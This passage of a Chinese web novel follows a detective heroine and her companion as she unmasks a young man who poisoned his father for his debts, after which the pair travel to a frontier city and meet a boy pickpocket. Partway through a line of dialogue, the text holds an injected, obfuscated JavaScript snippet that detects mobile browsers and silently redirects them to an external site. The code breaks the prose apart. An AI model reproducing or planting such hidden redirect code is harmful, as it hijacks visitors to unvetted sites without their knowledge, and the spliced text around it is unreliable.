“我能不答应吗?一条小命还在对方手中,我见父亲也同意,便再写信商量着怎样把这出戏演好。本来我跟父亲商量好,他这两天把家里面值钱的东西全部当掉,然后今天跟我一块离开汾县。可是,没想到……没想到还是死在刘叔手上。” 苗景岚听见,眉头紧紧锁住,“元二公子,请恕我愚钝,你怎么确定令尊一定是死在刘叔手上?以我之见,刘叔是元家忠心耿耿的管家,跟着令尊的时间也最久,他怎么会因为钱财就杀害你的父亲呢?” 元文松下意识的白了她一眼,“当初离开杨家坡,刘叔介绍给我的人顺走我身上的财物,我就知道他们两个不是好人。想给父亲写封信告知,又怕这两个人发现,只能悄摸摸的在信封上下一点**,我先用铅字在信封上留下‘求救’两个字,没想到父亲真的看明白了。他果然没有再相信刘叔,却还是被刘叔**灭口。” “你也说刘叔是这里的管家,又是这里干得最久的,可是你现在可曾见到过他?分明是见财眼开、图谋不规,一定是他见事情败露,才会狗急跳墙。小妹,为免他们再向元家下毒手,咱们还是变卖家产,早点离开这里为好!” “元二公子,既然你是被刘叔请来的那两个人**,现在怎么安然无恙的出现在这里?你是如何逃出来的?”苗景岚继续追问道。 元文松露出不耐烦的表情,“你这个女人,为何这么多的问题?起初他们关起我,我假装听话,趁他们不注意,我就逃了出来。” “究竟是你自己逃出来的?还是这一切都是你设计的?元二公子,能不能让我看看你身上藏起来的东西?” …… 第46章 汾酒(17) 元文松身子向后下意识的瑟缩一下,但很快又装出一幅淡定的样子,但一只手本能的挡在胸前。 “你胡说什么?我根本听不明白。” 苗景岚一双眼睛却如鹰隼一般紧紧盯着对方,察看着对方的一举一动。 她轻笑一声,“二公子,既然你要装不明白,不如我慢慢告诉你听。三个月前,你跟元老爷商量市面上有一批黄金低价销售,你让元老爷同意你去收购这批黄金,还让管家帮你找一些来自杨家坡的武林高手,帮你做一些见不得人的勾当。你还欺骗元老爷,哄骗他变卖元家的家产,想让他悄无声息的离开汾县。” “所谓的**案,不过是你自己设计的一出戏,只不过在这出戏里面元老爷还是元小姐,都被你算计了!” “你胡说什么?你个大胆的女人,跑到我家疯言疯语!”这一回元文松终于按捺不住了,直接冲到苗景岚面前。 如果不是苗景岚的旁边站着贾仁和元心兰,只怕元文松早就上前狠狠揍苗景岚一顿。 可是,苗景岚仿佛没看到他那张暴怒的脸一般,继续声音清冷的说:“元公子,你之所以这样愤怒,是因为毒死元老爷之后,你急着想把元家的财产典卖出去,然后可以逃之夭夭吗?” “什么?元老爷是他害死的?”这句话就像是惊天霹雳,在所有人的头顶上劈过。 元文松的脸一黑,脸上一闪而过地闪过一丝惊慌。 “小妹,不要听这个女人胡说!我刚刚回来,怎么有时间毒死父亲?是这个女人在这里挑拨事非,快点儿把她从元府赶走!”元文松焦急的说。 他说完这话,向元心兰走进一步。 可是,元心兰却本能的向后退一步,身体向苗景岚靠近一些。 虽然苗景岚跟元心兰相处的时间不长,但是从这段时间的相处,她觉得苗景岚虽然看似性格清冷,但是外冷内热,人美心善,正义感强。 而且她清清楚楚的看到和了解苗景岚的本领,对这样一个奇女子心生羡慕和尊敬。 反倒是元文松,从小就性格叛逆,跟元老爷关系也差。 只是毒死元老爷…… 元文松看到妹妹半信半疑的样子,心中更是觉得气愤。 冲上前想要教训苗景岚,却没想到贾仁已经先他一步站在苗景岚面前,拦住元文松。 元文松对着贾仁冷哼一声,“不要以为你身份尊贵就可以护着这个女人,要知道这里是汾县!” “怎么,元二公子,你这是事情败露之后变得穷凶极恶了吗?” “你胡说!你凭什么说是我毒死我父亲的?我虽然不成器,但还不至于做出这样丧尽天良的事情!” 元心兰也帮着自己二哥说话,“对呀,苗姐姐,我二哥虽然平常和父亲不和,但还不至于**。这里面是不是有什么误会呀?” “你们若是不信我说的话,可以看看你二哥胸口藏起来的东西。如果我猜得没错,那是这宅子里的房契和地契,以及所有值钱的东西。元二公子想把这些东西带走,他还想要元姑娘的陪嫁。” “你胡说……”元文松突然变得歇斯底里。 贾仁顺势伸出手,从元文松的怀里掏出一包东西。 那里面果然如苗景岚所说的那样,全是元家的房契、地契和店铺的契约。 元心兰看见,惊讶到极点:“二哥,你真的拿走了全家的房契、地契,你究竟想干什么?难道……难道爹他……真的是你杀的?” “心兰,你要相信二哥,你二哥是不可能做出这样的事情的?”元文松还想狡辩。 “如果你父亲死后,你可以顺利得到元家的一切,就可以还清楚身上的欠债,还可以远走高飞,在这种利益的驱使之下,你还会无动于衷吗?” “你胡说!” “我没有胡说。你之所以骗你父亲要银子低价收购黄金,就是因为想出这样一个主意。你欠下巨额赌债,又担心父亲不会替你偿还,再加上你一直知道你父亲对家里面的生意心有余而力不足, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15878059|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以才会一再撺掇他逃离这里。这样一来,你爹不用处理家里的一摊烂摊子,你也不用去面对那样多的追债人,我说的到底对不对呀,元二公子?” “你这个贱女人,在这里妖言惑众,我要杀掉你!” “呵呵,我是不是妖言惑众,只要让元老爷验过尸体就知道。我刚才粗略查看了一下,元老爷的毒并不是今天才下的,而是一两个月前才下的。**慢慢的藏于元老爷的体内,等到合适的时机才会慢慢发作。而这段时间,元老爷并不在汾县,知道元老爷行踪的只有你,元二公子。难道这个,你也要抵赖吗?” 顿时,元文松像泄了气的皮球。 半晌才自言自语般的说:“我不是故意的,我不是故意的。我只是想用元家的一些名气来偿还一些欠债,没想到这事被父亲发现,他不依不饶,还说不让我再继承元家的家产。父亲这样做,不就是让我**吗?那与其我**,不如大家一起死!” “二哥,你怎么能做出这样的事情?就算父亲不让你继承家产,你也不能杀掉他,那可是我们的父亲啊!”元心兰哭着喊起来,不敢相信自己的父亲居然死于至亲之手。 元文松眼睛血红,身体不受控制的慢慢颤抖起来:“这不怪我,是他们逼我的,是他们逼我的……” “他们是谁?”苗景岚下意识的问道。 突然间,元文松像是疯掉一般,脸上的表情变得有些狰狞。 他一脸凶相的冲向苗景岚,“是你这个女人,是你这个女人……一切都是你害的,都是你害的!” 元文松的手中不知道什么时候开始多了一把刀,拿着刀的手就直接逼进苗景岚的胸口。 就在那么一瞬间,一道黑影拦在苗景岚的面前。 尖刀迅速**胸口,血瞬间喷射出来。 元心兰吓得尖叫起来。 苗景岚趁着元文松动手的时机,用手肘狠狠的击晕元文松。 可是,替苗景岚拦下一刀的贾仁却倒在血泊之中。 第47章 汾酒(18) “啊啊啊啊啊……”元心兰吓得惊声尖叫起来。 她没有想到就在这么短的时间内,两个熟悉的人相继离开自己。 先是自己的父亲中毒而死,后来又是贾仁倒在血泊之中,而且杀死贾仁的不是别人,还是自己的二哥。 刚刚发生的一幕幕,简直要直接把她逼疯。 跟元心兰的反应相比,苗景岚就冷静许多。 前一世她没有少见过战友受伤,甚至有时候亲眼看到同事和战友死在自己的面前也是有的。 每天奋斗在最前线,死亡和牺牲都是司空见惯的事情。 而今天,当她看见贾仁替他挡下一刀之时,心口莫名的痛了一下。 仿佛那个倒下去的人就是自己一样。 苗景岚用手捂住贾仁的胸口,想让血液流得慢一点。 贾仁说话的语气也变得微弱:“岚儿,我眼前怎么是黑的,难道我的眼睛瞎了?” “现在本来就是夜晚。” “哦。这会不会是我最后一晚?” “别瞎说,你这辈子能长命百岁的。” “岚岚,要是今天真是我活在这个世界上的最后一天,你能不能答应我一个请求?”贾仁握着苗景岚的手,奄奄一息的说道。 如果搁在平时,贾仁这样没皮没脸的跟自己说话,苗景岚一定会亲手削他。 但是,考虑到他今天晚上救了自己,不能对自己的救命恩人太苛刻。 只能点点头说:“好,你有什么请求?” “岚儿,要是我能侥幸活下来,你能不能答应跟我浪迹天涯?” “浪迹天涯?行。” 贾仁听到这句话,才放心的闭上眼。 元心兰看到倒下的贾仁,哭得撕心裂肺:“怎么办?苗姐姐,王……贾公子,他会不会死呀?” “放心,他只是失血过多,人因为虚弱而晕过去。只要给他止血就可以。” …… 经过一晚上的折腾,贾仁终于度过危险期。 而元文松的情况就不太妙了。 昨天被苗景岚拆穿之后,他已经被下人们绑住手脚,丢到柴房。 此时的元文松的眼睛血红,整个人处于颠狂状态,完全不像是平时看到的样子。 他不断的用头撞墙,模样十分的痛苦,嘴里面不断的呻吟着,“给我药,给我药……” 看到元文松这个样子,元心兰感到十分的陌生,“我二哥怎么会变成这个样子?” “看你二哥的情况,好像‘瘾君子’。” “什么是‘瘾君子’?”元心兰不解的问。 “就是吃了某种容易上瘾的药,养成某种习惯,形成某种依赖性。离开这种药就是这个样子,他需要食用这种药才能生存!” 前世的苗景岚没少见过嗑药的瘾君子,只是现在的她感到好奇,在这个世界里谁会让元文松吃药上瘾? “我二哥以前不是这个样子的。就算他不争气,和父亲吵架,也没有看到变成现在这个样子!”元心兰绝望的哭起来,“父亲死了,二哥又变成这个样子,我以后该怎么办?” 苗景岚也同情起这个可怜的姑娘,原本是汾县首富之女,一夜之间家破人亡,失去照护,以后对她而言,路会更加的难走吧。 “贾公子怎么样?”除了家里人之外,贾仁算是此时跟元心兰最亲近的人。 “他没事。只是失血过多,调养几天就能恢复。”苗景岚想起昨天晚上贾仁对自己说过的话,心头到现在还有一点嘭嘭跳。 只是不知道这家伙醒过来,嘴里面会不会没有个把门的,又胡说八道什么。 元家的案子算是告一段落,元老爷死于亲子之手,而元文松弑父之后整个人就疯掉,如今被关在汾县的县衙里面。 元家从此没落,皇商的身份也被剥夺,只是令人意外的是,案子告官之后,从京城发来一封信,说元家的大哥元文青并没有死,而是流落到京城,改名换姓之后高中,如今在京城为官。 他特意把元心兰接到京城,元姑娘也算有个照应,以后不用担心她的生活。 贾仁在休息几天之后,终于彻底恢复。 他雇了一辆马车,带着苗景岚离开汾县。 应该说贾仁还是那个贾仁,这身体刚刚好,嘴巴又开始噼里啪啦说个不停。 他不知道从哪里弄来一大坛子酒,就放在马车上。 “哎,你说我们来到这汾县这么多天,汾县有什么美食也没有好好品尝。还好我为人机智,临走之前买了一大坛子的汾县美酒给你大哥送去,要不然你大哥那头肯定过不了关。” “亏你好意思说,躺在床上快半个月,人家元姑娘去京城都没有送人家一程。现在身体刚刚好,就想着去别的地方。”苗景岚嗔怪道。 贾仁从马车上一屁股坐起来,警惕的问道:“岚儿,你那天晚上可是亲自答应我的,你可不能食言啊。” “我自然不会食言。可是你这伤口刚好,就要出远门。对了,你想去哪里?” 苗景岚看到贾仁此刻脸上一闪而过的戏谑表情,就知道这家伙一定又憋着什么坏主意。 只见贾仁的嘴角微微勾起,眼神中闪现出一种兴奋和向往的神情:“嗯,这个季节的江南雨水太多,西域天气倒好,但是太过危险。唯有西北的天气宜人,而且风景不错。我一直想去西北,骑一骑那里的烈马,再领略一下西北草原特有的风景。岚儿,不如你陪我一块去看,好吗?” 苗景岚回过脸看向贾仁,眼前这个男人相貌清俊,气质高贵,却像一个孩子一般,眼神明亮的看向自己。 那眼中有期盼、有渴望、有爱慕……有太多复杂的情绪,一时间竟看得苗景岚心头一紧,莫名有些紧张,两颊也在不经意变得发烫。 “岚儿,答应我,好吗?”贾仁又声音温柔的问一遍。 “嗯,好吧,我答应你。”苗景岚点点头回答。 像是一种既定的仪式,或者说是水到渠成的一种表现,贾仁伸出双手,下意识的抱了苗景岚一下。 两个人第一次这么近距离的接触,离得这么近,似乎能感觉到彼此的气息…… 第48章 青稞酒(1) 大兴国的西北,草原。 贾仁和苗景岚两个人坐着马车,一路上欣赏着风景,一边朝辽阔的大草原迈进。 原本贾仁还说要雇个车夫,可是苗景岚觉得麻烦,两人轮流驾驶着马车,马车坐了半个多月,才终于快要看见西北的郡县浩城。 “岚儿,马上就要到浩城。等到了浩城,我们一块去吃烤羊肉,喝马奶酒,再多准备一些干粮。” 苗景岚朝贾仁蹙蹙眉,“你这个‘岚儿’叫得挺顺嘴?” 转眼间贾仁又开始没皮没脸起来,“可不是嘛,岚儿。你要是觉得这个称呼不好听,可以换一个称呼。你想我怎么称呼你呢,岚儿?” 贾仁这一脸贱贱的样子,忽然让苗景岚兴趣缺缺,没有继续交流的欲望。 贾仁似乎浑然不知,继续兴致盎然的聊起来:“这浩城据说是大兴国西北最大的城池。想当年,大兴国的开国皇帝被女真族一直赶到南方,还是一位很厉害的将军出面,才挽救局面。后来那位将军就留下来镇守边关,就有了现在的浩城。” “你是说,浩城是那位战功卓越的将军所建?” “正是。那位将军不但有战世之才,更有建业之能。原本这浩城是一座缺衣少食、物质匮乏的城市,但在那位将军的治理之下,很快就成为西北最为繁华的城市。我这次来就是想见识见识浩城的繁荣,更想来拜祭一下这位将军。” “那现在治理浩城的是这位将军的后人吗?” “这我倒是不清楚。可是,我在离开之前,先会去拜祭一下这位将军,顺带也看一看这位将军有没有后人在世。” 提到后人,苗景岚联想起之前元心兰的大哥,“你觉得这事有没有一点古怪,之前一直听元姑娘说她大哥死了,这些年也没有音讯,怎么突然就活过来,还成了京官?” “我也觉得奇怪,我跟元姑娘少小便认识,却从未见过他大哥。直到她家发生变故,举家离开京城之后,就再也没有见过。如今她家里又出事端,我还担心她挺不过去,没想到她大哥出现了,也算让她有个依靠。”贾仁深深的松一口气,是真心为自己的这个童年好友感到宽慰。 “可是,你不觉得她的这个大哥出现的太巧一些?”苗景岚问道。 “是有一些。但是,既然对方自称是她大哥,也不会轻易冒认。至于事情究竟怎样,等我们以后回京城再说吧。”贾仁是一幅不以为然的口气。 “京城?话说回来,你这真正的身份,什么时候才可以告诉我?假人?”苗景岚的语气里面带着戏谑。 其实她早就知道,贾仁是他的假名。 看他出手阔绰,不论是黎县的侯县令,还是元老爷,都对他毕恭毕敬。 看得出来,他身份不凡。 之前一直认为他是有苦衷,所以才隐瞒自己的身份,如今听说他想回京城,自然想问一问他的底细。 贾仁略一沉吟,说:“如果你告诉你,我身怀龙脉之血。是一人之下、万人之上,你会相信吗?” “我信。” “如果我说,我被皇帝猜忌,被整个皇族遗弃,你会相信吗?” “我信。” “那我说,你跟我在一起,回到京城之后九死一生,各方势力都会盯上我。你还愿意跟我在一起吗?” 苗景岚想也不想就说:“愿意。” 贾仁的心情变得激动,脸上浮过一丝兴奋与愉悦:“真的吗?你不后悔。” “有什么后悔。我认识你数月,这几个月里,你虽有缺点,却仗义疏财,看到世间不公之事好打不平,充满正义又热于助人,甚至为了朋友两肋插刀。结交你这样的朋友,是我一生当中的荣幸,有什么好后悔的?” “哦,愿意跟我回京城,是因为这个原因?”贾仁的脸上有一丝失望。 “那你觉得是因为什么原因?”苗景岚反问道。 “岚儿,难道我们认识这么久,你对我还不够了解吗?你对我……难道仅仅是……朋友之义?没有……没有一点儿……儿女私情?” “想什么呢?儿女私情?就你这张破嘴,村口的长舌妇也没有你的话多,还什么儿女私情?”苗景岚冷不丁嘲讽一句,差点儿把贾仁气得伤口复发。 “你当我是话唠?我告诉你,我只有对着你才话多,你到底懂不懂儿女私情呀?你以为我会对着一个自己毫不感兴趣的女人,说一大通没有用的话吗?我对会自己不喜欢的女人,去撩拨她,调逗她吗?你看我对元心兰说过这样多的话吗?有时候看你明明挺聪明的,为什么有时候就这样傻呢?”贾仁气得险些吐出一口老血。 苗景岚觉得无语。 她这是被人表白了吗? 可是,苗景岚天生是一个把工作和使命看得比生命还重的人,所以她才想解决一个个的案子,从案子之中找到真相,追寻正义。 而感情这种事,无论前世还是今生,她都未曾涉足过。 她从未对此有过期盼。 或许是因为情绪激动,贾仁说完之后,忍不住剧烈的咳嗽。 “咳咳咳咳咳咳……” “别说话呢,也不看看你的身体。你不是说想到浩城好好看看吗?这伤口还没有好彻底,不要还没到浩城,你自己的一条小命就丢在路上!” “哼,还说我是个话唠。你看看你这张嘴,就像淬过毒的一般。要是真要被你说中了,你这算不算是谋杀未来夫君?” 贾仁和苗景岚两人,你来我往,谁的嘴里也不肯轻易饶过谁。 苗景岚干脆撕下一张饼,将饼塞进贾仁的嘴里,“别说话,快吃东西,我怕你饿死在路上!” …… 贾仁看到苗景岚的举动,不由轻轻笑了。 这个女人看似冷漠,其实心里面还是关心自己的。 至少跟他们初次相识时相比,苗景岚对自己宽容许多。 想当初他们在酒坊相识,苗景岚可是毫不客气的叫自己走人的,哪会像现在这样很熟络的将一张饼塞进自己嘴里? 哼,口是心非的女人! 只要我赖上你,迟早你会是我的女人。 烈女怕缠郎嘛。 第49章 青稞酒(2) 浩城。 初秋。 此时正值夏末秋初,浩城最外边的胡杨木已经开始长出枯黄的叶子。 一大片一大片的胡杨林,像静静的守侯在城池外最忠诚的战士,一身澄黄的外衣穿在身上,看上去庄严肃穆。 而在浩城的最中央,依旧是一片青色的草原。 青草幽幽,绿意盎然。 跟有些暮气沉沉的胡杨林不同,浩城里面是一派生机勃勃的感觉。 一排排石头和泥土沏成的矮房子,每一幢小房子外面都涂上不同的颜色。 有白泥裹着的白色;有红泥涂成的红色;还有黑泥糊成的黑色。 每一幢房子分别有着不同的颜色,而且还有人在房子外面涂着不同的涂鸦。 比如说,白色的房子外面用黑色的颜料画了一个菩萨的头像,象征吉祥安康;红色的房子外面被人画了一个骷髅,喻意死亡警告,恶魔退避;还有黑色的房子外画着女人和孩子的头像…… 光从这些房子的颜色来说,浩城是一座极富生命力的城市。 跟黎县那种中规中矩的古代小镇相比,浩城更像现代人的痕迹。 走进这座城,随处可见穿着张扬服饰的西域刀客和身穿袈裟、宝相庄严的西域僧人,这两种人是浩城地位最高的居民。 然后是穿着各异、并且花里胡哨的各种商人和普通百姓。 浩城是一座紧挨着游牧民族的城池,周边有很多不同的民族,有西域的,有波斯的,也有从大兴国四面八方而来的其他种族。 跟男尊女卑的大兴国百姓相比,这里的女人更加狂野和自由一些。 当穿着大兴国服饰的贾仁帅气的走在街上,总有穿着艳丽的浩城女人在调逗他。 或是向他抛出一把干果,或是丢给他一根身上的纱巾,那是民风彪悍的浩城女人独有的一种示爱方式。 男人接受这些干果,或是收下那根纱巾,夜里就可以留在女人房里春风一度。 对女子有意的可以留下来和女人生活一阵子,只是春风一度的第二天就可以离开。 反正浩城女人需要的只是男人的那颗精子,生下孩子她们都是独自抚养。 所以,在浩城一个男人可以拥有许多的女人,而且还不需要亲自抚养孩子。 从浩城外面一路走来,贾仁差不多收到十几个女人丢过来的干果和纱巾。 不管是环肥燕瘦,贾仁一律是不理睬。 经过一个客栈,两人停下脚步。 苗景岚丢下行李,静静的坐在贾仁身边,像是在仔细研究什么一般,认认真真的看着贾仁的脸。 “想不到你还有当上门女婿的资质。今天有这么多的女人向你抛来橄榄枝,就没有一个中意的?”旅途的劳累并没有让苗景岚放弃调侃贾仁的机会。 “你这是吃醋了吗?”贾仁看向苗景岚的目光里带着些许意味深长的意味。 “我只是觉得,贾公子失去一个成家立业的好机会。这浩城的女人,好像都很中意你呢。” “可我不中意她们。浩城的女人是很主动,但是她们不止对我一个人主动,只要是有点儿兴趣的男人,她们都会投怀送抱。曾经有一个大兴国的男人,娶了一个浩城来的女人,然后他出门经商五年,想不到妻子给她生了四个孩子,而且每个孩子长得都不一样。” “孩子哪有长得一模一样的?又不是孪生子?”苗景岚没听懂贾仁所说的故事。 贾仁却笑一笑,接着说:“他们不仅长得不一样,连皮肤的颜色也不一样。那个大兴国的男人,头顶上的绿帽颜色是有史以来最厚的。” “切,无聊。” 一个穿着脏兮兮衣服的浩城少年拿着好几串干花串走过来,嘴里面嘀嘀咕咕的朝贾仁和苗景岚说着什么。 两个人都没有听懂,但看少年比划的样子,像是在向他们兜售干花串。 浩城有这种习俗,把野外采来的鲜花晒成干花,然后串成一个花环,戴在身上可以祈祷健康长寿,也可以把干花串挂在寺庙里佛祖的身上,可以向佛祖祈祷自己心想事成。 贾仁想买,苗景岚却不想要。 贾仁朝少年示意一下,暗示自己不要。 少年悻悻的离开。 两个人在客栈的餐馆吃了一点儿胡饼和羊杂汤,吃完打算付钱的时候,贾仁摸一摸自己身上的口袋,脸色大变。 “糟糕,我遇到贼了!” 苗景岚马上反应过来,“是刚刚那个卖花的少年!” 贾仁和苗景岚两人马上冲出客栈,朝外面追过去。 好在那个少年跑得不算太远,贾仁和苗景岚很快追到他。 “把钱袋还给我!”贾仁呵斥道。 卖花少年假装听不懂,面露惊恐的不断摆摆手。 “不要跟我装,我知道你听得懂大兴话!”贾仁脸一黑,凶巴巴的警告那少年。 少年指指自己的嘴巴,又指一指自己的耳朵,然后不断的摆摆手,意思是“自己不会说话,也听不懂”。 “哼,少跟我装聋做哑,要不然我带你去报官!”贾仁气极败坏的说。 苗景岚却二话不说,手往少年的身上一探,从他的怀里掏出几个钱袋。 贾仁拿出自己的那个钱袋,其他的丢还给他。 苗景岚对贾仁说:“这样的小乞丐肯定是惯犯,浩城这里肯定有他的同伙,说不定还有官府包庇。你就算拉着他去报官,也未必有什么用,找到自己的钱袋就把他放了吧,也怪可怜的。” “你呀,就是菩萨心肠。” 贾仁假装要朝少年的鼻梁上狠狠揍一拳,吓得少年赶紧缩起脸往后面一躲。 贾仁听从苗景岚的劝阻,只是假装吓唬他一下,并没有真的挥拳出去,而是把剩下的钱袋丢还给他,然后扬长而去。 此时天色已经暗下来,血色的夕阳照着浩城,宛若一座血色的小城。 贾仁和苗景岚踩着坑坑洼洼不平整的台阶,慢慢的往回走。 走在半路上,忽然听到有人痛苦的呻吟声,还听到嚯嚯嚯的挥拳声…… 贾仁和苗景岚停下来看了一眼,只见几个浩城的少年正凑在一起,轮流痛揍一个趴在地上的少年。 那个少年还很面熟,就是刚刚偷自己钱包的那位。 …… 第50章 青稞酒(3) 苗景岚刚刚看见那位少年,还觉得他四肢修长,身体健硕。 但在另一群凶猛少年的围攻之下,忽然觉得那位少年原来也挺瘦弱。 毕竟只是一个十三、四岁的孩子,在这样一伙人的攻击之下,少年很快被打得鼻青脸肿。 或许是出于同情,又或许是联想起前世自己救助过的少年,苗景岚走到那伙少年中间,拦下他们。 “不要打了,不要打了!住手!” 几个浩城的少年并没有停下手,仿佛没听到苗景岚的话一样。 苗景岚也没有再跟他们废话,直接上手拦住他们。 她先是一掌推开一个拳头挥舞得最凶狠的少年,之后又一脚踹开趴在对方身上的一个少年,然后用手肘击退另一个想要上前的家伙。 “你是谁?凭什么多管闲事?”一个刚刚趴在小乞丐身上的少年恶狠狠的说。 “你们这样打,会把他打死的。” “那也是他活该,谁叫他私下里敢拿留给白老大的钱。” “白老大是谁?”苗景岚问。 “是我们这里的老大,我们这一片都归他管。” 刚刚打小乞丐打得最狠的少年冲他的同伴使个眼色,意思是不要跟苗景岚讲太多,然后还警惕的问道:“你们又是谁?凭什么到这里管闲事?看你们的衣服,应该不是这里的人。” “我们第一次来到浩城,只是见不得你们就这样随随便便打人。”贾仁接地话茬。 “我们没有随便打人,他只是一个小偷而已。他偷了白老大的钱,该死!” “我没有偷,是你们干的,还栽赃陷害我!”想不到小乞丐在情急之下,居然开了口,之前偷贾仁的钱包时还装做不会说话的小哑巴,故意跟贾仁打起哑谜。 其实作为大兴国的一个偏远小城,即便带着其他民族的血统,也依旧听得懂大兴话。 “不要想抵赖,我明明把今天收获的钱袋全都拿给你了,原本是有八个的,可到现在只有五个。还有三个钱袋呢?还不是被你给吞了。” “你胡说,明明只有六个钱袋。”小乞丐狡辩道。 “哦,六个,那为什么只有五个呢?”那位凶悍的少年反问。 小乞丐被问得一愣,目光转向苗景岚和贾仁。 少掉的那一个,正是小乞丐从贾仁和苗景岚身上偷走的那一个。 浩城这边有一个小偷团伙,是由一帮孩子组成。 常年靠偷窃为生,他们的头目就是少年口中的那个白老大。 凶悍的少年依旧不依不饶,“要不交出少掉的钱袋,要不跟我们去见白老大!” “如果说我能找到丢失的那两个钱袋,你们是不是能够放过他?”苗景岚在听清楚事情的来龙去脉之后,突然提议道。 那一伙少年用疑惑的目光看向苗景岚,“你能找到丢失的钱袋?” “我试试看。你们刚才说,你们把今天偷来的钱袋都放到他的身上。那我想问一问,你们为什么要这样做?每个人拿着自己偷来的钱袋各自交给白老大,岂不是更好吗?” “因为白老大有规定,天黑前谁带来的钱袋最少,谁就带着所有的钱袋来见他,他会给那个人十鞭子作为惩罚。” 没想到居然是因为这样,谁每天偷的钱袋最少,谁就带着所有的钱袋去见白老大,并且接受白老大的惩罚。 “哦,那好。你们再跟我说一说,这八个钱袋分别是谁偷的?如果你们把事情说清楚,或许我能够搞清楚究竟是谁拿走了你们辛苦弄来的钱袋。” 也不知道是出于一种什么样的心态,这伙小偷少年居然真的开始诉说自己今天所偷的经历。 “我今天弄到两个。一个从西域来的商人喝醉了,他和他带来的女人钱袋都很满。” “我也弄了两个,羊倌今天卖掉两只羊,我把他的钱包顺过来了,还有一个来浩城的金匠,他们的钱袋都很鼓。” “我只弄到一个,卖柴火的大叔钱袋里并没有多少钱。” “我也只弄到一个,还被他们捡回去了。”小乞丐说到这里时,,还看了看旁边站着的苗景岚。 “哦,目前一共是六个钱袋,还有两个呢?是谁弄来的?” 刚才最凶恶的那个少年,站出来说:“另外两个钱包是我弄来的,有两个从外地来到浩城的家伙,我从他们身上偷来的。” “是吗?这两个人长什么样,穿着什么样的衣服?你又是怎么把钱袋弄到手的。” 跟刚才凶狠的模样相比,少年说话开始变得吱吱唔唔起来,“就不长得那个样子吗?两个外地来的人,穿着外地的衣服。” “那你是怎么偷到的钱袋?你该不会连这个也不记得吧?”苗景岚打量着对方脸上的表情。 少年还是结结巴巴的说:“就不是这样偷的吗?趁他们不注意的时候,偷偷拿走的。” “你是一块来偷的?还是分开来偷的?”苗景岚接着问。 “嗯,分开来的吧。”少年低着头,不敢直视苗景岚的眼睛。 “浩城虽然经常有来来往往经商的人,但是来这里的外地人并不多。你想得起来这两个人长什么样子吗?” “这我怎么记得?”少年狡辩道。 “你不记得?还是根本编不出来?”苗景岚对少年说,“我看你根本就没有偷到什么钱袋,却想冤枉到小乞丐身上。” “我没有。” “你要是真的偷了那两个人的钱袋,怎么会怎么偷的都不记得?不过就算你胡乱编也没有关系,到时候我们可以根据你所说的寻找那两个丢钱袋的人。相信我,这样的人在浩城很好找,比如说我们这样的。” 少年有些紧张,结结巴巴的说:“我今天只是运气不太好,我想只要熬过今天,明天就会好的。” “你居然骗我们!”其他的少年气乎乎的开始痛揍那个少年。 贾仁见状,笑着对苗景岚说:“看样子你解救了小乞丐,却让另一个少年被痛揍,算是救了一个又害了一个吗?” “他被揍是活该,反正我们干了应该干的,回客栈吧。” “你还说我爱多管闲事,我看你才是爱管闲事的那个。连一个偷我钱袋的小乞丐都同情心泛滥!”贾仁取笑苗景岚。 回到客栈之后的第二天,苗景岚刚来到楼下打算吃点东西,就见贾仁说:“你昨天引来的麻烦来了!” 第51章 青稞酒(4) 苗景岚顺着他所指的方向看过去,就见昨天的那个小乞丐就守在客栈门口,好像是专门在等待着他们。 贾仁和苗景岚对这个小乞丐也算是不打不相识,因为偷钱包而相识,却也因为他们而获救。 贾仁走过去,对那个小乞丐说:“小屁孩,还跟着我们干什么?是不是又盯上了我们的钱包?” 小乞丐瞪了他一眼,挺一挺小胸脯说:“我阿纳汗虽然不是什么好人,但也是懂得知恩图报的人。既然你们昨天帮了我,我这辈子就不会再偷你们的东西。” 说完,他朝苗景岚的脚下丢了一个东西。 贾仁捡起来,仔细的一看,发现居然是一大串干番薯。 浩城常年无雨,普通的农作物很难存活。 只有像蕃薯、花生、地瓜之类的东西才可以长得很好。 而这些农作物并不好保存,老百姓们有时候为了能吃饱肚子,就把这些东西晒干了,串成一大串保存起来,等到没有食物的时候拿出来吃。 这一大串番薯干说不定是这个小乞丐攒下来的好几天的干粮。 苗景岚觉得小乞丐不会无缘无故的送一串番薯干给自己,就算是示好也不会这样着急。 “你是有什么事情想找我们吗?”苗景岚直截了当的问道。 小乞丐倒也没有回避,“我想你们帮我找妹妹。” “你的妹妹?” 小乞丐点点头,对苗景岚说:“我的妹妹叫阿扎依。她比我小四岁,半年前被人拐走了,我想你们帮我找到她。我之所以跟着白老大,是因为他答应过我帮我找妹妹,但是我觉得你的本领比他大。” “你原来还有个妹妹?看你的样子,应该是浩城本地人,妹妹丢了,不应该跟家里人商量?或者是直接去报官吗?”苗景岚不解的问。 她昨天只是好心的一出手,不想小乞丐被人活活揍死,没想到小乞丐倒因此特意找上自己。 小乞丐此刻流露出几分悲切的情绪,“我的父母都在三年前的天灾里死去了,只剩下我和妹妹两个人。本来我们在浩城里乞讨,可是半年前,我妹妹被人贩子拐走了。我没有报官,因为在这浩城里报官根本没用,大家都知道大兴国派来的官老爷是形同虚设。” 贾仁没有想到,连一个小乞丐都能说出这样的话,可见大兴国的官员在这浩城是多么的腐败和无能。 他小声的对苗景岚说:“怎么样,你真的要管这小乞丐的闲事?要知道他之前可是骗过我们,还偷过我们的东西。这家伙装哑巴还装得挺像,没想到大兴话说得那么好!” 小乞丐辩解:“我官话说得好,是因为我以前住的地方,隔壁就有一个教书先生,他有空就会教我说大兴话。之前我骗你们,是不想给自己惹麻烦,不是有意想骗你们的。” “你妹妹是怎么丢的?说详细一点,越详细越好。毕竟事情过了这么久,任何的线索都有助于你更快的找到妹妹。” 贾仁听苗景岚这样一说,在心里面吐槽,完了,这家伙又要开始管闲事了。 她之前还老说自己还打抱不平,明明那个爱管闲事的人是她自己。 小乞丐听苗景岚这样问自己,眼睛顿时开始变得明亮起来。 